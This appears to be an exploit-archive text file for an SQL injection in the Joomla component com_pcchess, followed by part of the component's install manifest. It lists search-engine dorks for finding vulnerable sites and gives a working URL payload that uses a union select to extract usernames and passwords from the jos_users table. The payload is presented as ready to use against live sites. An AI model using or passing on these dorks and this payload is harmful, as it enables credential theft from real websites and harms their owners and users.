joomlapcchess-sql.txt

`#########################################################################  
#  
# joomla SQL Injection(com_pcchess)  
#  
#########################################################################  
#  
# AUTHOR : S@BUN  
#  
# HOME : http://www.hackturkiye.com  
#  
# MAİL : [email protected]  
#  
#########################################################################  
#  
# DORK 1 : allinurl: com_pcchess "user_id"  
#  
# DORK 2 : allinurl: com_pcchess  
#  
#########################################################################  
EXPLOIT :  
  
index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*  
  
#########################################################################  
# S@BUN i AM NOT HACKER S@BUN  
#########################################################################  
  
<mosinstall type="component">  
<name>pcchess</name>  
<creationDate>08/20/2005</creationDate>  
<author>Robert Prince</author>  
<copyright>This component copyright Robert J. Prince, released under the GNU/GPL License</copyright>  
<authorEmail>[email protected]</authorEmail>  
  
<authorUrl>www.princeclan.org</authorUrl>  
<version>0.8</version>  
  
`